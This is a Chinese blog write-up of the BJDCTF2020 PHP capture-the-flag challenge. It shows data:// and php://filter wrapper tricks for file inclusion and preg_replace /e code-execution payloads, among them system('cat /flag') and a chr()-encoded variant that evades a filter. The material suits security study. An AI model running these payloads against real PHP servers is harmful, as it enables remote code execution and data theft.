• [BJDCTF2020]ZJCTF,不过如此 preg_replace /e模式漏洞


     

    目录

    preg_replace的/e模式

    为什么要变为 {${phpinfo()}}

    另一个方法

    版本


    1. error_reporting(0);
    2. $text = $_GET["text"];
    3. $file = $_GET["file"];
    4. if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){
    5. echo "

      ".file_get_contents($text,'r')."


      "
      ;
    6. if(preg_match("/flag/",$file)){
    7. die("Not now!");
    8. }
    9. include($file); //next.php
    10. }
    11. else{
    12. highlight_file(__FILE__);
    13. }
    14. ?>

    直接看看代码

    首先 text file获取参数

    判断 text为空 和 读取 text的文件内容 并且要为 I have a dream

    这里可以使用data伪协议绕过 让 text识别到 I have a dream
    本地测试一下就知道了

    通过 data获取 I have a dream 得到该数据 这样 就可以绕过判断

    然后文件包含 提示我们 next.php

    include很显然就是使用伪协议 我们直接php://来读取

    ?text=data://text/plain,I have a dream&file=php://filter/convert.base64-encode/resource=next.php

     解密

    1. $id = $_GET['id'];
    2. $_SESSION['id'] = $id;
    3. 访问期间全局保存 id
    4. function complex($re, $str) {
    5. return preg_replace(
    6. '/(' . $re . ')/ei',
    7. 'strtolower("\\1")',
    8. $str
    9. );
    10. }
    11. 这里很关键
    12. foreach($_GET as $re => $str) {
    13. echo complex($re, $str). "\n";
    14. }
    15. 将get的值 作为 re->str类型
    16. function getFlag(){
    17. @eval($_GET['cmd']);
    18. }
    19. 执行命令

    我们看看其中关键的内容

    preg_replace的/e模式

    这里主要是使用了 prg_replace的危险参数 /e

    可执行参数

    就可以将第二个参数作为命令执行

    所以上面其实 就是匹配

    1. '/(' . $re . ')/ei', 'strtolower("\\1")',
    2. 就是 eval(strtolower("\\1"))
    3. 但是 \\1 在正则中存在自己的作用
    4. 其实就是匹配第一项
    5. 这里给出例子
    6. preg_replace('/(' . $regex . ')/ei', 'strtolower("\\1")', $value);
    7. regex是我们的参数值 即 get的名称 value是传入的参数
    8. .*=phpinfo()
    9. 所以就变为了
    10. preg_replace('/(.*)/ei', 'strtolower("\\1")',phpinfo());
    11. 但是这里是无法执行phpinfo()的

    为什么要变为 {${phpinfo()}}

    首先我们要知道

    1. $a=hello
    2. $$a=world
    3. 这里相当于
    4. $hello=world
    5. 所以
    6. echo $a $hello
    7. hello world

    我们接着理解一下

    1. ${phpinfo()}
    2. 执行完会变为 ${1} 因为 phpinfo()通过var_dump返回的是1
    3. 所以strtolower 变为 strtolower({${1}})
    4. 接着变为 strtolower({null})
    1. 这里还存在一个问题
    2. 如果我们输入 ?.*
    3. 作为 get的名字的话
    4. 无法执行
    5. 因为对于get非法参数会自动替换为 _
    6. 但是我们如果输入 一个大写字母就可以实现
    7. 例如 ?.* ---> ?_*
    8. ?\S* ---> ?\S*
    9. 使用了其他正则
    10. 就是 \S 匹配非空

    这道题我们需要执行 getFlag

    所以我们修改 参数

    1. 这里我们需要了解 主要是要让第二个参数 作为命令执行
    2. preg_replace(正则,需要执行的命令,原本的值)
    3. 我们现在需要
    4. strtolower("\1")为我们的"原本的值"来作为命令执行
    5. strtolower("\1")要为命令 就需要原本的值是命令
    6. 而我们需要通过${phpinfo()}直接执行 phpinfo()
    7. 这里执行完phpinfo() 就会变为strtolower("${phpinfo()}")-->strtolower("${1}")-->null

     这里说太多了 主要就是让第二个参数为 phpinfo即可

    我们需要通过 ${}来解析phpinfo() 否则还是无法执行命令

    next.php?\S*={${getFlag()}}&cmd=system('cat /flag');

    这里flag就出来了

    这里主要理解 ${phpinfo()}

    我们不在意匹配后的字符串是什么

    而是沟通过${}来直接解析phpinfo()

    另一个方法

    这里既然我们可以通过 第二个参数直接解析那我们直接替换为命令即可

    我们直接通过 system("cat /flag"); 看看能不能执行

    发现报错了 说明存在过滤

    我们直接通过 chr拼接字符即可

    1. ?\S*=${system(chr(99).chr(97).chr(116).chr(32).chr(47).chr(102).chr(108).chr(97).chr(103))}
    2. system(cat /flag)

    执行成功

    获得flag

    版本

    /e模式在php5.5.x版本已经弃用了,但是根据我实验,在5.6.9版本下,虽然会报错,但是还能够使用这个特性

     7.0之后的版本就不能用

    [BJDCTF2020]ZJCTF,不过如此_[bjdctf2020]zjctf,不过如此_Sk1y的博客-CSDN博客

  • 相关阅读:
    JavaScript 69 JavaScript Web API 69.3 Web History API
    TN、HTN、STN、FSTN、DSTN、CSTN、TFT、LCD 的区别
    acwing算法基础之数学知识--中国剩余定理
    【Java面试】Zookeeper如何实现Leader选举
    Ajax和axios基础
    Go语言开发(3)变量
    IronBarcode for .NET 2022.11.10702 Crack
    C语言百日刷题第六天
    蛇形填空 I
    《算法通关村—进制转换问题处理模板》
  • 原文地址:https://blog.csdn.net/m0_64180167/article/details/132797583